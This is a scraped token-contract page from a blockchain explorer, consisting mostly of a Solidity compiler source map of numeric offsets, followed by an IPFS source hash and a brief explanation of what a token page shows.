;;29289:21:0;;;29262:7;29289:21;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;29175:155;25909:88;;;;;;;;;;-1:-1:-1;25909:88:0;;;;-1:-1:-1;;;;;25909:88:0;;;29338:161;29413:4;29430:39;13835:10;29453:7;29462:6;29430:8;:39::i;:::-;-1:-1:-1;29487:4:0;29338:161;;;;;:::o;29507:313::-;29605:4;29622:36;29632:6;29640:9;29651:6;29622:9;:36::i;:::-;29669:121;29678:6;13835:10;29700:89;29738:6;29700:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;29700:19:0;;;;;;:11;:19;;;;;;;;13835:10;29700:33;;;;;;;;;;:37;:89::i;:::-;29669:8;:121::i;:::-;-1:-1:-1;29808:4:0;29507:313;;;;;:::o;29828:218::-;13835:10;29916:4;29965:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;29965:34:0;;;;;;;;;;29916:4;;29933:83;;29956:7;;29965:50;;30004:10;29965:38;:50::i;25580:133::-;25672:1;25656:6;;25635:40;;-1:-1:-1;;;;;25656:6:0;;;;25635:40;;25672:1;;25635:40;25703:1;25686:19;;-1:-1:-1;;;;;;25686:19:0;;;25580:133::o;30054:269::-;30147:4;30164:129;13835:10;30187:7;30196:96;30235:15;30196:96;;;;;;;;;;;;;;;;;13835:10;30196:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;30196:34:0;;;;;;;;;;;;:38;:96::i;29000:167::-;29078:4;29095:42;13835:10;29119:9;29130:6;29095:9;:42::i;34862:446::-;34964:10;35026:4;-1:-1:-1;;;;;34994:37:0;;;34986:77;;;;-1:-1:-1;;;34986:77:0;;3561:2:1;34986:77:0;;;3543:21:1;3600:2;3580:18;;;3573:30;3639:29;3619:18;;;3612:57;3686:18;;34986:77:0;;;;;;;;;35096:53;;-1:-1:-1;;;35096:53:0;;35143:4;35096:53;;;1388:51:1;35074:19:0;;-1:-1:-1;;;;;35096:38:0;;;;;1361:18:1;;35096:53:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;35074:75;-1:-1:-1;35160:20:0;35213:3;35183:29;35195:17;35074:75;35183:29;:::i;:::-;:33;;;;:::i;:::-;35273:10;;35235:63;;-1:-1:-1;;;35235:63:0;;-1:-1:-1;;;;;35273:10:0;;;35235:63;;;4613:51:1;4680:18;;;4673:34;;;35160:56:0;;-1:-1:-1;35235:37:0;;;;;4586:18:1;;35235:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;35227:71;34862:446;-1:-1:-1;;;;;34862:446:0:o;30474:290::-;-1:-1:-1;;;;;30575:22:0;;;;;;:50;;-1:-1:-1;;;;;;30601:24:0;;;;30575:50;30567:80;;;;-1:-1:-1;;;30567:80:0;;5202:2:1;30567:80:0;;;5184:21:1;5241:2;5221:18;;;5214:30;-1:-1:-1;;;5260:18:1;;;5253:47;5317:18;;30567:80:0;5000:341:1;30567:80:0;-1:-1:-1;;;;;30658:21:0;;;;;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;:42;;;30716:38;;1596:25:1;;;30716:38:0;;1569:18:1;30716:38:0;;;;;;;30474:290;;;:::o;30772:1573::-;25403:7;25430:6;-1:-1:-1;;;;;30892:13:0;;;25430:6;;30892:13;;;;:47;;-1:-1:-1;;;;;;30922:17:0;;26153:42;30922:17;;30892:47;:83;;;;-1:-1:-1;;;;;;30956:19:0;;30970:4;30956:19;;30892:83;:119;;;;-1:-1:-1;30998:13:0;;-1:-1:-1;;;;;30992:19:0;;;30998:13;;30992:19;;30892:119;:151;;;;-1:-1:-1;25403:7:0;25430:6;-1:-1:-1;;;;;31028:15:0;;;25430:6;;31028:15;;30892:151;30888:292;;;-1:-1:-1;;;;;28968:16:0;;31059:18;28968:16;;;:7;:16;;;;;;31141:15;;31117:19;31130:6;28968:16;31117:19;:::i;:::-;31116:40;;31108:70;;;;-1:-1:-1;;;31108:70:0;;5678:2:1;31108:70:0;;;5660:21:1;5717:2;5697:18;;;5690:30;-1:-1:-1;;;5736:18:1;;;5729:48;5794:18;;31108:70:0;5476:342:1;31108:70:0;31044:136;30888:292;25403:7;25430:6;-1:-1:-1;;;;;31196:15:0;;;25430:6;;31196:15;31192:81;;31243:1;31234:6;:10;31226:47;;;;-1:-1:-1;;;31226:47:0;;6025:2:1;31226:47:0;;;6007:21:1;6064:2;6044:18;;;6037:30;6103:26;6083:18;;;6076:54;6147:18;;31226:47:0;5823:348:1;31226:47:0;-1:-1:-1;;;;;31371:18:0;;;;;;:38;;-1:-1:-1;;;;;;31393:16:0;;;;31371:38;31363:72;;;;-1:-1:-1;;;31363:72:0;;6378:2:1;31363:72:0;;;6360:21:1;6417:2;6397:18;;;6390:30;-1:-1:-1;;;6436:18:1;;;6429:51;6497:18;;31363:72:0;6176:345:1;31363:72:0;31463:1;31454:6;:10;31446:60;;;;-1:-1:-1;;;31446:60:0;;6728:2:1;31446:60:0;;;6710:21:1;6767:2;6747:18;;;6740:30;6806:34;6786:18;;;6779:62;-1:-1:-1;;;6857:18:1;;;6850:35;6902:19;;31446:60:0;6526:401:1;31446:60:0;31550:11;;;;;;;;31539:7;;:22;;;;:57;;-1:-1:-1;31580:16:0;;-1:-1:-1;;;31580:16:0;;;;31579:17;31539:57;:95;;;;-1:-1:-1;31621:13:0;;-1:-1:-1;;;;;31613:21:0;;;31621:13;;31613:21;;31539:95;:133;;;;-1:-1:-1;31651:21:0;;-1:-1:-1;;;31651:21:0;;;;31539:133;31522:443;;;31778:4;31729:28;28968:16;;;:7;:16;;;;;;31825:12;;31802:35;;31799:78;;;-1:-1:-1;31863:12:0;;31799:78;31891:7;:11;;-1:-1:-1;;31891:11:0;;;31917:36;31932:20;31917:14;:36::i;:::-;31698:267;31522:443;-1:-1:-1;;;;;32039:24:0;;31985:12;32039:24;;;:18;:24;;;;;;32000:4;;31985:12;32039:24;;;:50;;-1:-1:-1;;;;;;32067:22:0;;;;;;:18;:22;;;;;;;;32039:50;32036:239;;;32115:5;32105:15;;32036:239;;;32175:13;;-1:-1:-1;;;;;32175:13:0;;;32167:21;;;;32164:72;;-1:-1:-1;32216:4:0;32164:72;32252:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;32036:239;32287:48;32302:4;32308:2;32312:6;32320:7;32329:5;32287:14;:48::i;:::-;30875:1470;;30772:1573;;;:::o;13284:206::-;13370:7;13431:12;13423:6;;;;13415:29;;;;-1:-1:-1;;;13415:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;13466:5:0;;;13284:206::o;12856:98::-;12914:7;12941:5;12945:1;12941;:5;:::i;:::-;12934:12;12856:98;-1:-1:-1;;;12856:98:0:o;32489:1504::-;27522:16;:23;;-1:-1:-1;;;;27522:23:0;-1:-1:-1;;;27522:23:0;;;32628:12:::1;::::0;27522:23;;32643:3:::1;::::0;32605:35:::1;::::0;:20;:35:::1;:::i;:::-;:41;;;;:::i;:::-;32580:66;;32681:14;32671:7;;:24;;;;:::i;:::-;32661:7;:34:::0;26153:42:::1;32733:20;::::0;:7:::1;:20;::::0;;;:37:::1;::::0;32756:14;;32733:37:::1;:::i;:::-;32710:7;:20;::::0;;:60;32826:4:::1;32710:20;32810:22:::0;;;32710:20;32810:22;;;:39:::1;::::0;32835:14;;32810:39:::1;:::i;:::-;32801:4;32785:22;::::0;;;:7:::1;:22;::::0;;;;:64;;;;32912:17:::1;::::0;32932:3:::1;::::0;32889:40:::1;::::0;:20;:40:::1;:::i;:::-;:46;;;;:::i;:::-;32867:68;;32950:19;33009:3;32995:11;;32972:20;:34;;;;:::i;:::-;:40;;;;:::i;:::-;32950:62;;33027:25;33095:3;33078:14;;33055:20;:37;;;;:::i;:::-;:43;;;;:::i;:::-;33027:71:::0;-1:-1:-1;33143:21:0::1;33179:63;33230:11:::0;33196:31:::1;33216:11:::0;33027:71;33196:31:::1;:::i;:::-;:45;;;;:::i;:::-;33179:16;:63::i;:::-;33257:17;33277:41;33301:17:::0;33277:21:::1;:41;:::i;:::-;33257:61;;33335:15;33417:11;;33397:17;;33380:14;;:34;;;;:::i;:::-;:48;;;;:::i;:::-;33353:17;::::0;:23:::1;::::0;33373:3:::1;33353:23;:::i;:::-;:76;;;;:::i;:::-;33335:94:::0;-1:-1:-1;33444:13:0::1;33482:3;33460:19;33335:94:::0;33460:9;:19:::1;:::i;:::-;:25;;;;:::i;:::-;33444:41;;33502:15;33578:11;;33558:17;;33541:14;;:34;;;;:::i;:::-;:48;;;;:::i;:::-;33520:11;::::0;:17:::1;::::0;33534:3:::1;33520:17;:::i;:::-;:70;;;;:::i;:::-;33502:88:::0;-1:-1:-1;33605:13:0::1;33643:3;33621:19;33502:88:::0;33621:9;:19:::1;:::i;:::-;:25;;;;:::i;:::-;33605:41:::0;-1:-1:-1;33665:60:0::1;33678:17:::0;33605:41;33698:17:::1;33710:5:::0;33698:9;:17:::1;:::i;:::-;:25;;;;:::i;:::-;33665:12;:60::i;:::-;33745:81;33760:17:::0;33800:5;33780:17:::1;33792:5:::0;33780:9;:17:::1;:::i;:::-;:25;;;;:::i;:::-;33745:81;::::0;;7447:25:1;;;7503:2;7488:18;;7481:34;;;;7531:18;;7524:34;;;7435:2;7420:18;33745:81:0::1;;;;;;;33856:11;::::0;33843:32:::1;::::0;-1:-1:-1;;;;;33856:11:0::1;33869:5:::0;33843:12:::1;:32::i;:::-;33953:10;::::0;33904:21:::1;::::0;-1:-1:-1;33940:35:0::1;::::0;-1:-1:-1;;;;;33953:10:0::1;33904:21:::0;33940:12:::1;:35::i;:::-;-1:-1:-1::0;;27568:16:0;:24;;-1:-1:-1;;;;27568:24:0;;;-1:-1:-1;;;;;;;;;32489:1504:0:o;35318:1548::-;35463:7;35459:1398;;-1:-1:-1;;;;;35506:15:0;;;;;;:7;:15;;;;;;:23;;35522:7;;35506:23;:::i;:::-;-1:-1:-1;;;;;35488:15:0;;;;;;;:7;:15;;;;;:41;;;;35560:11;;;;35547:24;;;;35544:82;;-1:-1:-1;;;;;35595:18:0;;;;;;:7;:18;;;;;;35623:1;;35595:27;;-1:-1:-1;;;35595:27:0;:::i;:::-;:29;;;;:::i;:::-;-1:-1:-1;;;;;35574:18:0;;;;;;:7;:18;;;;;:50;35544:82;-1:-1:-1;;;;;35661:18:0;;;;;;:7;:18;;;;;;:26;;35680:7;;35661:26;:::i;:::-;-1:-1:-1;;;;;35640:18:0;;;;;;;:7;:18;;;;;;;:47;;;;35707:36;;;;;;;;;;35735:7;1596:25:1;;1584:2;1569:18;;1450:177;35707:36:0;;;;;;;;-1:-1:-1;;;;;;;35763:24:0;;;35760:67;;35820:7;35812;;:15;;;;:::i;:::-;35802:7;:25;35760:67;35459:1398;;;35855:5;35851:1006;;;35878:14;35915:3;35903:11;;35895:7;:19;;;;:::i;:::-;:23;;;;:::i;:::-;35878:40;-1:-1:-1;35933:23:0;35959:14;35878:40;35959:7;:14;:::i;:::-;-1:-1:-1;;;;;36008:15:0;;;;;;:7;:15;;;;;;35933:40;;-1:-1:-1;36008:23:0;;36024:7;;36008:23;:::i;:::-;-1:-1:-1;;;;;35990:15:0;;;;;;;:7;:15;;;;;;:41;;;;36067:18;;;;;;;:34;;36086:15;;36067:34;:::i;:::-;-1:-1:-1;;;;;36046:18:0;;;;;;:7;:18;;;;;;:55;;;;36157:4;36141:22;;;;:29;;36164:6;;36141:29;:::i;:::-;36132:4;36116:22;;;;:7;:22;;;;;;;;;:54;;;;36193:44;1596:25:1;;;-1:-1:-1;;;;;36193:44:0;;;;;;;;;;1569:18:1;36193:44:0;;;;;;;-1:-1:-1;;;;;;;36257:24:0;;;36254:75;;36314:15;36306:7;;:23;;;;:::i;:::-;36296:7;:33;36254:75;35861:498;;35851:1006;;;36382:15;36421:3;36408:12;;36400:7;:20;;;;:::i;:::-;:24;;;;:::i;:::-;36382:42;-1:-1:-1;36439:23:0;36465:15;36382:42;36465:7;:15;:::i;:::-;-1:-1:-1;;;;;36515:15:0;;;;;;:7;:15;;;;;;36439:41;;-1:-1:-1;36515:23:0;;36531:7;;36515:23;:::i;:::-;-1:-1:-1;;;;;36497:15:0;;;;;;;:7;:15;;;;;;:41;;;;36574:18;;;;;;;:34;;36593:15;;36574:34;:::i;:::-;-1:-1:-1;;;;;36553:18:0;;;;;;:7;:18;;;;;;:55;;;;36664:4;36648:22;;;;:30;;36671:7;;36648:30;:::i;:::-;36639:4;36623:22;;;;:7;:22;;;;;;;;;:55;;;;36701:44;1596:25:1;;;-1:-1:-1;;;;;36701:44:0;;;;;;;;;;1569:18:1;36701:44:0;;;;;;;-1:-1:-1;;;;;;;36765:24:0;;;36762:75;;36822:15;36814:7;;:23;;;;:::i;:::-;36804:7;:33;36762:75;36365:492;;35318:1548;;;;;:::o;34001:474::-;34093:16;;;34107:1;34093:16;;;;;;;;34069:21;;34093:16;;;;;;;;;;-1:-1:-1;34093:16:0;34069:40;;34138:4;34120;34125:1;34120:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;34120:23:0;;;:7;;;;;;;;;;:23;;;;34164:15;;:22;;;-1:-1:-1;;;34164:22:0;;;;:15;;;;;:20;;:22;;;;;34120:7;;34164:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;34154:4;34159:1;34154:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;34154:32:0;;;:7;;;;;;;;;:32;34229:15;;34197:62;;34214:4;;34229:15;34247:11;34197:8;:62::i;:::-;34270:15;;:197;;-1:-1:-1;;;34270:197:0;;-1:-1:-1;;;;;34270:15:0;;;;:66;;:197;;34351:11;;34270:15;;34394:4;;34421;;34441:15;;34270:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34056:419;34001:474;:::o;34485:368::-;34600:15;;34568:62;;34585:4;;-1:-1:-1;;;;;34600:15:0;34618:11;34568:8;:62::i;:::-;34641:15;;:204;;-1:-1:-1;;;34641:204:0;;34713:4;34641:204;;;9423:34:1;9473:18;;;9466:34;;;34641:15:0;9516:18:1;;;9509:34;;;9559:18;;;9552:34;26153:42:0;9602:19:1;;;9595:44;34819:15:0;9655:19:1;;;9648:35;-1:-1:-1;;;;;34641:15:0;;;;:31;;34680:9;;9357:19:1;;34641:204:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;32357:122::-;32442:23;;-1:-1:-1;;;;;32442:15:0;;;:23;;;;;32458:6;;32442:23;;;;32458:6;32442:15;:23;;;;;;;;;;;;;;;;;;;;;32357:122;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2490:247::-;2549:6;2602:2;2590:9;2581:7;2577:23;2573:32;2570:52;;;2618:1;2615;2608:12;2570:52;2657:9;2644:23;2676:31;2701:5;2676:31;:::i;2966:388::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3150:9;3137:23;3169:31;3194:5;3169:31;:::i;:::-;3219:5;-1:-1:-1;3276:2:1;3261:18;;3248:32;3289:33;3248:32;3289:33;:::i;:::-;3341:7;3331:17;;;2966:388;;;;;:::o;3715:184::-;3785:6;3838:2;3826:9;3817:7;3813:23;3809:32;3806:52;;;3854:1;3851;3844:12;3806:52;-1:-1:-1;3877:16:1;;3715:184;-1:-1:-1;3715:184:1:o;3904:127::-;3965:10;3960:3;3956:20;3953:1;3946:31;3996:4;3993:1;3986:15;4020:4;4017:1;4010:15;4036:168;4076:7;4142:1;4138;4134:6;4130:14;4127:1;4124:21;4119:1;4112:9;4105:17;4101:45;4098:71;;;4149:18;;:::i;:::-;-1:-1:-1;4189:9:1;;4036:168::o;4209:217::-;4249:1;4275;4265:132;;4319:10;4314:3;4310:20;4307:1;4300:31;4354:4;4351:1;4344:15;4382:4;4379:1;4372:15;4265:132;-1:-1:-1;4411:9:1;;4209:217::o;4718:277::-;4785:6;4838:2;4826:9;4817:7;4813:23;4809:32;4806:52;;;4854:1;4851;4844:12;4806:52;4886:9;4880:16;4939:5;4932:13;4925:21;4918:5;4915:32;4905:60;;4961:1;4958;4951:12;5346:125;5411:9;;;5432:10;;;5429:36;;;5445:18;;:::i;6932:175::-;6969:3;7013:4;7006:5;7002:16;7042:4;7033:7;7030:17;7027:43;;7050:18;;:::i;:::-;7099:1;7086:15;;6932:175;-1:-1:-1;;6932:175:1:o;7112:128::-;7179:9;;;7200:11;;;7197:37;;;7214:18;;:::i;7701:127::-;7762:10;7757:3;7753:20;7750:1;7743:31;7793:4;7790:1;7783:15;7817:4;7814:1;7807:15;7833:251;7903:6;7956:2;7944:9;7935:7;7931:23;7927:32;7924:52;;;7972:1;7969;7962:12;7924:52;8004:9;7998:16;8023:31;8048:5;8023:31;:::i;8089:980::-;8351:4;8399:3;8388:9;8384:19;8430:6;8419:9;8412:25;8456:2;8494:6;8489:2;8478:9;8474:18;8467:34;8537:3;8532:2;8521:9;8517:18;8510:31;8561:6;8596;8590:13;8627:6;8619;8612:22;8665:3;8654:9;8650:19;8643:26;;8704:2;8696:6;8692:15;8678:29;;8725:1;8735:195;8749:6;8746:1;8743:13;8735:195;;;8814:13;;-1:-1:-1;;;;;8810:39:1;8798:52;;8905:15;;;;8870:12;;;;8846:1;8764:9;8735:195;;;-1:-1:-1;;;;;;;8986:32:1;;;;8981:2;8966:18;;8959:60;-1:-1:-1;;;9050:3:1;9035:19;9028:35;8947:3;8089:980;-1:-1:-1;;;8089:980:1:o;9694:306::-;9782:6;9790;9798;9851:2;9839:9;9830:7;9826:23;9822:32;9819:52;;;9867:1;9864;9857:12;9819:52;9896:9;9890:16;9880:26;;9946:2;9935:9;9931:18;9925:25;9915:35;;9990:2;9979:9;9975:18;9969:25;9959:35;;9694:306;;;;;:::o

Swarm Source

ipfs://1b87eac51468d4a85564a5b2cd613ae22c280128692d15ffc991b6b30a6dee61
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.